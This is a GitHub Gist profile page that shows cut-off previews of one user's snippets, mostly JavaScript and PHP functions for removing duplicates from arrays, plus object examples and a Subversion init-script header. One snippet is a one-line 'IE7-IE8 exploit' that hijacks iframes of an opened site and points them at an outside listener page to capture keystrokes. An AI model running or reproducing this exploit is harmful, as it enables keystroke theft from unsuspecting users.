Skip to content

Instantly share code, notes, and snippets.

View yeco's full-sized avatar

Jasson Cascante yeco

View GitHub Profile
function eliminarDuplicados(a) {
var idx = {}, ai, o=[];
for(var i = 0, l = a.length; i < l; i++){
ai = a[i];
if(!idx[ai]){
o.push(ai);
idx[ai] = true;
}
}
return o;
function eliminarDuplicados(object, key) {
var _object = {};
for (var _key in object) {
if (_key != key) {
_object[_key] = object[_key];
}
}
return _object;
}
myarray.filter(function(o,i,a){ return a.indexOf(o) === i; });
function limpiarArray($array){
        $retorno=null;
        if($array!=null){
            $retorno[0]=$array[0];
        }
        for($i=1;$i<count($array);$i++){
            $repetido=false;
            $elemento=$array[$i];
            for($j=0;$j<count($retorno) && !$repetido;$j++){
                if($elemento==$retorno[$j]){
function RemoveDuplicates(arr)
{
//get sorted array as input and returns the same array without duplicates.
var result=new Array();
var lastValue="";
for (var i=0; i<arr.length; i++)
{
var curValue=arr[i];
if (curValue != lastValue)
{
Array.prototype.unique = function () {
var r = new Array();
o:for(var i = 0, n = this.length; i < n; i++)
{
for(var x = 0, y = r.length; x < y; x++)
{
if(r[x]==this[i])
{
continue o;
}
/*
One line IE7-IE8 exploit.
- Opens a new window, and will hijack one of the iframes, and capture keystrokes.
*/
x=open('http://site.net/');setInterval(function(){try{x.frames[0].location={toString:function(){return%20'http://www.something.com/simple-listener.html';}}}catch(e){}},5000);void(1);
#!/bin/bash
#
# /etc/rc.d/init.d/subversion
#
# Starts the Subversion Daemon
#
####
# HOW TO USE:
#
# 1. grand execution permissions to the script:
function Ball (type) {
this.type = type;
this.color = "red";
this.getInfo = function() {
return this.color + ' ' + this.type + ' ball';
};
}
var ball = {
type: "round",
color: "red",
getInfo: function () {
return this.color + ' ' + this.type + ' ball';
}
}
// uso